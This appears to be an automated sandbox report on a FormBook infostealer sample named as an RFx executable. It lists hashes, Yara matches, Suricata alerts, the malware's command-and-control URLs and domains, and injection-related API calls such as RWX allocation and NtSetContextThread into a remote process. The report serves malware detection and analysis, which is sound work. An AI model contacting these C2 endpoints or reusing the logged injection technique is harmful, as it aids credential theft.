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RFx - NRSB-SPCI_QHK_NRSB_SPCI_115R1_023.exe

NSIS UPX Malicious Library PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 4, 2023, 11:19 a.m. July 4, 2023, 11:21 a.m.
Size 238.7KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 abf89b932e8ef30a751c9b989549ec89
SHA256 011765b154e93fd26afc6331fa7330996162cd8b9ae00c938a630e6bcca2cc0f
CRC32 47FEDC61
ssdeep 6144:PYa6/RSn8Dy+MAUfNi65ScnbuxVugNFXzX6xfpEvlb:PYV0n83EfHYibuCgNFjX6xfGh
Yara
  • UPX_Zero - UPX packed file
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
www.bmg.social
www.houtsang.top
A 107.189.12.132
CNAME houtsang.top
107.189.12.132
www.benelu-duodefils.com
A 216.239.34.21
A 216.239.36.21
A 216.239.38.21
A 216.239.32.21
216.239.32.21
www.bbnlotto.africa
IP Address Status Action
107.189.12.132 Active Moloch
164.124.101.2 Active Moloch
216.239.36.21 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:54148 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 192.168.56.101:49166 -> 216.239.36.21:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 216.239.36.21:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 216.239.36.21:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 107.189.12.132:80 2023882 ET INFO HTTP Request to a *.top domain Potentially Bad Traffic
TCP 192.168.56.101:49165 -> 107.189.12.132:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 107.189.12.132:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 107.189.12.132:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 107.189.12.132:80 2031089 ET HUNTING Request to .TOP Domain with Minimal Headers Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.houtsang.top/rx63/?v2=VlLW2NhVMZmXG6hxgxx+thcWCdrS7CDKDh6B3GCUCKxG9hmZpyr5p1bEfW5L7SHmGF/9Avel&CZ=7nExZbW
suspicious_features GET method with no useragent header suspicious_request GET http://www.benelu-duodefils.com/rx63/?v2=HUcnflQOG9YonvR2sjKjIWzCjLqpPnJ337/kiqXUxo4WVewSax/Nv6lIXYu4jtofiMzSrpEZ&CZ=7nExZbW
request GET http://www.houtsang.top/rx63/?v2=VlLW2NhVMZmXG6hxgxx+thcWCdrS7CDKDh6B3GCUCKxG9hmZpyr5p1bEfW5L7SHmGF/9Avel&CZ=7nExZbW
request GET http://www.benelu-duodefils.com/rx63/?v2=HUcnflQOG9YonvR2sjKjIWzCjLqpPnJ337/kiqXUxo4WVewSax/Nv6lIXYu4jtofiMzSrpEZ&CZ=7nExZbW
domain www.houtsang.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2556
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x732a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x031c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2556
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x031d0000
allocation_type: 12289 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00800000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsnF00F.tmp\etgactg.dll
file C:\Users\test22\AppData\Local\Temp\nsnF00F.tmp\etgactg.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2556 called NtSetContextThread to modify thread in remote process 2656
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 1995571652
registers.esp: 1638384
registers.edi: 0
registers.eax: 4321488
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000238
process_identifier: 2656
1 0 0
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Agent.tshg
Cynet Malicious (score: 100)
Cylance unsafe
Sangfor Trojan.Win32.Formbook.V63v
K7AntiVirus Trojan ( 0052eef11 )
K7GW Trojan ( 0052eef11 )
Cybereason malicious.32e8ef
Cyren W32/Injector.BYKD-4018
Symantec Trojan Horse
Elastic malicious (high confidence)
ESET-NOD32 Win32/Formbook.AA
APEX Malicious
Kaspersky Trojan.Win32.Inject.aoztc
BitDefender Gen:Variant.Nemesis.22777
MicroWorld-eScan Gen:Variant.Nemesis.22777
Avast Win32:InjectorX-gen [Trj]
Emsisoft Gen:Variant.Nemesis.22777 (B)
F-Secure Heuristic.HEUR/AGEN.1300673
DrWeb Trojan.Siggen9.48175
VIPRE Gen:Variant.Nemesis.22777
TrendMicro Ransom.Win32.FORMBOOK.USPAXFS23
McAfee-GW-Edition BehavesLike.Win32.Generic.dc
Trapmine malicious.moderate.ml.score
FireEye Generic.mg.abf89b932e8ef30a
Sophos Mal/Generic-S
SentinelOne Static AI - Suspicious PE
GData Win32.Trojan-Stealer.FormBook.IY5V7X
Webroot W32.Strab.Gen
Avira HEUR/AGEN.1300673
Gridinsoft Trojan.Win32.FormBook.bot
Arcabit Trojan.Nemesis.D58F9 [many]
Microsoft Trojan:Win32/FormBook.KA!MTB
Google Detected
AhnLab-V3 Trojan/Win.NSISInject.R587856
McAfee RDN/Formbook
MAX malware (ai score=85)
VBA32 Trojan.NSIS.Agent
Malwarebytes Trojan.Injector.NSIS
Panda Trj/Chgt.AD
TrendMicro-HouseCall Ransom.Win32.FORMBOOK.USPAXFS23
Rising Trojan.Injector!8.C4 (TFE:5:M3LTeDoVIzU)
Ikarus Win32.Outbreak
Fortinet NSIS/Agent.DCAC!tr
AVG Win32:InjectorX-gen [Trj]
DeepInstinct MALICIOUS
CrowdStrike win/malicious_confidence_100% (W)